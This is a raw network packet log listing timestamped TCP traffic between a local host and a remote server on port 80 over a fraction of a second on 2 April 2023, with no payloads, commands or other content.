Apr 2, 2023 09:51:06.115895033 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115899086 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115925074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115942955 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115957975 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115961075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115979910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115986109 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115998030 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116008043 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116022110 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116039038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116053104 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116060019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116077900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116118908 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116122961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116142035 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116143942 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116163015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116183043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116202116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116202116 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116220951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116240025 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116240025 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116259098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116266966 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116277933 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116297007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116314888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116326094 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116333961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116352081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116353989 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116370916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116383076 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116389036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116409063 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116426945 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116439104 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116445065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116462946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116463900 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116482973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116486073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116501093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116518974 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116537094 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116539955 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116559029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116565943 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116578102 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116596937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116615057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116628885 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116632938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116652012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116655111 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116671085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116683006 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116688967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116707087 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116724968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116739988 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116743088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116761923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116767883 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116780043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116790056 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116797924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116816998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116836071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116839886 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116856098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116874933 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116889954 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116894960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116914034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116915941 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116933107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116945982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116951942 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116971016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.116982937 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.116988897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117007971 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117026091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117042065 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117043972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117063046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117069960 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117080927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117091894 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117099047 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117117882 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117136002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117142916 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117155075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117175102 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117193937 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117206097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117218971 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117230892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117253065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117271900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117281914 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117290020 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117307901 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117309093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117327929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117346048 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117348909 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117364883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117379904 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117383003 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117402077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117419958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117434978 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117438078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117455959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117461920 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117475033 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117485046 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117491961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117511034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117530107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117530107 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117547989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117554903 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117567062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117584944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117602110 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117615938 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117619991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117638111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117643118 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117655993 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117674112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117672920 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117691994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117706060 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117708921 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117727995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117744923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117763042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117762089 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117782116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117788076 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117799997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117809057 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117819071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117836952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117855072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117857933 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117872953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117891073 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117907047 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117908955 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117927074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117932081 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117944956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.117955923 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.117995024 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138411999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138439894 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138458967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138480902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138499975 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138537884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138556004 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138557911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138577938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138596058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138597012 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138616085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138633966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138638973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138653040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138676882 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138681889 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138714075 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138715029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138740063 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138762951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138773918 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138786077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138811111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138837099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138875008 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138899088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138904095 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138933897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138967037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.138981104 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.138999939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139008045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139030933 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139060020 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139089108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139117956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139117956 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139144897 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139148951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139178038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139209032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139226913 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139235973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139266968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139292955 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139297962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139328957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139348984 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139357090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139375925 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139386892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139415979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139441967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139470100 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139472961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139498949 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139504910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139533997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139564037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139590025 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139592886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139621973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139627934 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139661074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139691114 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139714003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139719009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139743090 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139751911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139786005 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139817953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139847994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139846087 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139877081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139897108 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.139909983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139965057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139992952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.139992952 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140022039 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140026093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140054941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140083075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140108109 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140114069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140136003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140146971 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140177011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140199900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140221119 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140252113 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140259981 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140276909 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140295982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140300035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140325069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140360117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140388012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140388012 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140414000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140414953 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140444994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140481949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140501022 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140512943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140530109 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140551090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140583992 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140614986 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140638113 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140649080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140676022 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140686989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140727997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140763998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140790939 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140795946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140822887 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140834093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140865088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140897989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140922070 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140933037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.140949011 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.140968084 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141006947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141041994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141063929 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141076088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141093969 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141112089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141139984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141169071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141192913 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141202927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141222954 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141236067 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141268969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141299963 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141326904 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141334057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141356945 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141372919 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141421080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141460896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141478062 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141505003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141505957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141544104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141585112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141619921 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141642094 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141657114 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141673088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141699076 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141731024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141767979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141784906 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141798973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141813993 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141838074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141871929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141902924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141922951 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.141938925 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141978025 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.141989946 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142014027 CEST	80	49724	131.188.40.189	192.168.2.4
